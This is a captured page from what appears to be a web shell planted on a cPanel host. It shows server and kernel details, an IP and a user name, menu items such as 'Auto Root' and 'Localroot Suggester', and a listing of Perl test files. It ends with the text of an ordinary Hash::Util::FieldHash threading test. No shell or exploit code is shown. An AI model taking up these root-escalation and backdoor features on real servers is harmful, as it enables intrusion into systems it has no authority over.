Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
Hash-Util-FieldHash /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_load.t
1.05
KB
-r--r--r--
2014-12-27 11:48
02_function.t
8.86
KB
-r--r--r--
2014-12-27 11:48
03_class.t
2.61
KB
-r--r--r--
2014-12-27 11:48
04_thread.t
1.56
KB
-r--r--r--
2014-12-27 11:48
05_perlhook.t
5.25
KB
-r--r--r--
2014-12-27 11:48
11_hashassign.t
10.12
KB
-r--r--r--
2014-12-27 11:48
12_hashwarn.t
1.57
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!perl use strict; use warnings; use Test::More; my $n_tests; use Hash::Util::FieldHash qw( :all); my $ob_reg = Hash::Util::FieldHash::_ob_reg; { my $n_basic; BEGIN { $n_basic = 6; # 6 tests per call of basic_func() $n_tests += 5*$n_basic; } my %h; fieldhash %h; sub basic_func { my $level = shift; my @res; my $push_is = sub { my ( $hash, $should, $name) = @_; push @res, [ scalar keys %$hash, $should, $name]; }; my $obj = []; $push_is->( \ %h, 0, "$level: initially clear"); $push_is->( $ob_reg, 0, "$level: ob_reg initially clear"); $h{ $obj} = 123; $push_is->( \ %h, 1, "$level: one object"); $push_is->( $ob_reg, 1, "$level: ob_reg one object"); undef $obj; $push_is->( \ %h, 0, "$level: garbage collected"); $push_is->( $ob_reg, 0, "$level: ob_reg garbage collected"); @res; } &is( @$_) for basic_func( "home"); SKIP: { require Config; skip "No thread support", 3*$n_basic unless $Config::Config{ usethreads}; require threads; my ( $t) = threads->create( \ &basic_func, "thread 1"); &is( @$_) for $t->join; &is( @$_) for basic_func( "back home"); ( $t) = threads->create( sub { my ( $t) = threads->create( \ &basic_func, "thread 2"); $t->join; }); &is( @$_) for $t->join; } &is( @$_) for basic_func( "back home again"); } BEGIN { plan tests => $n_tests }